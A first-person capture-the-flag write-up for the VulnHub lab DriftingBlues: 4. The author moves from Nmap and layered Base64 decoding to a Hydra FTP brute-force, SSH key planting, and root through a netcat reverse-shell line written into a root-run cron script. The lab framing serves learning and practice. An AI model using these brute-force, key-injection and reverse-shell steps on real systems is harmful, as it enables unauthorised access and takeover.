DriftingBlues: 4 BOOT2ROOT CTF VULNHUB WRITEUP
Welcome back!! In this post, I’ll walk you through how I rooted the fourth box in the DriftingBlues series. This boot2root challenge was a great mix of enumeration, exploitation, and privilege escalation — and I’ll be sharing each step I took, from initial foothold all the way to gaining root access. Let's start!

As usual, we’ll kick things off with an Nmap
scan to identify open ports that might serve as our initial entry point into the system.
nmap -A -sC -p- -T5 -oN nmap_result.log 192.168.137.55

Unfortunately, anonymous login is not permitted on the FTP server.
Let's visit the webpage.

Nothing useful, let's check the source code.

There you are, we have a Base64 encoded string in the source code. Decode it and this is the plaintext.

Another Base64, Let's decode it again.

Another Base64-,-

Another one??? Boring...

At last, I really thought I’d get the root password after going through those four layers of Base64 decoding. XD
Let's visit the file.

A Brainf*ck script — I've dealt with plenty of these before, haha. Let’s go ahead and execute it to reveal the plaintext.
The plaintext is a lot of hashes (#) and at the very bottom, there's a .png
file path.

Let's visit it.

We’ve got a QR code here. Instead of scanning it manually, we’ll extract its content using zbarimg
.

A link for another .png
file. Let's visit it.

We’ve got a list of names — could one of these be a potential username? Since the FTP port is open, it’s worth trying them out as possible login credentials.
I gathered all the names and saved them into a file called user.txt
. Now, we'll use Hydra to brute-force the FTP login using this list with rockyou.txt
.
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.137.55 ftp -t 40 -uVf

It took some time, but we finally got access to the FTP credentials. Let's login!
lftp -u hubert, john316 192.168.137.55

There’s a directory named hubert
, which matches the username we logged in with. Let’s navigate into it and see what’s inside.
cd hubert

The directory is completely empty — there isn’t a single file inside.
Since we're logged in as the user hubert
, we have ownership over their home directory — which means we can create and modify files within it. This opens up an opportunity: we can try to create a .ssh
directory inside Hubert’s home folder, then upload our own public key as authorized_keys
. If successful, this would allow us to authenticate via SSH using our corresponding private key, effectively granting us shell access as hubert without needing a password.
Let's make a .ssh
directory.
mkdir .ssh
Then navigate to .ssh
.
cd .ssh
Copy our public key and place it inside a file named authorized_keys
.
Then put it in our target.
put authorized_keys

Great! Our public key is now added to Hubert’s account — let’s attempt to login via SSH using our private key.
ssh hubert@192.168.137.55 -i ~/.ssh/id_rsa

We're in!!

A Python file is also present alongside the user.txt
file named emergeny.py
.

What’s most interesting is that emergency.py
is owned by root, yet we still have permission to read and execute it.
Let me make this clear — a lot of people, especially those new to Linux, often get confused when they see a file that's owned by root
but can still be read or executed by a regular user. The key thing to understand is that ownership and permissions are two separate concepts in Linux. Just because a file is owned by root
doesn’t mean it's completely off-limits. What matters is the file's permission settings, which determine who can read, write, or execute it. For example, in our case, emergency.py
is owned by root
, but it has permission bits that allow others to read and execute it — so we’re able to access it without needing root privileges.
Think of it like a house: ownership is like having your name on the title deed (that’s root
), but permissions are like leaving the door unlocked or giving others a key. You may own the house, but if you leave it unlocked (world-readable/executable), others can still walk in or look around. So don’t assume ownership alone controls access — always check the permissions with ls -l
. That’s how you avoid getting tripped up when assessing access on Linux systems.
Back to the challenge, let's check the file's content.

This code runs a system command that writes the value 1
into a file named backdoor_testing
located in the /tmp
directory. If the file doesn’t already exist, it will be created, and each time the code runs, another 1
gets added to the end of the file. It’s a basic way to log or mark something on the system using Python.
I had a strong suspicion that this code might be running on a schedule (cronjob), so I decided to run pspy64
to monitor for any automated executions.

As shown, the script is executed by root! We can exploit this by injecting a reverse shell payload to gain root access.
This is perfect, it has netcat
!!

Now let's modify the emergency.py
.
We will remove the emergency.py
and will make a modified one.
rm emergency.py
Now let's make a new one.
nano emergency.py
#!/usr/bin/env python
import os
os.system('nc -e /bin/bash 192.168.137.246 1234')
Save it and make it executable.
chmod +x emergency.py
Now, let’s set up a listener on our attacking machine to catch the incoming reverse shell connection.
nc -lnvp 1234

As you can see, our payload is executed successfully!
Now let's check out listener!

Yes! Now let’s upgrade the shell by spawning a proper TTY using pty
.

We've successfully pwned DriftingBlues: 4!!
I forgot to grab a screenshot of the root flag, haha — but don’t worry, it’s the same format as the previous challenges.
This machine was relatively straightforward, making it a good challenge for beginners or those looking to sharpen their basic enumeration and privilege escalation skills. While it didn’t include overly complex techniques, it still required careful attention to detail and logical thinking — especially when spotting writable files executed by root and leveraging SSH key injection. Overall, it served as a solid reminder that even simple misconfigurations can lead to full system compromise when approached with the right mindset.
Last updated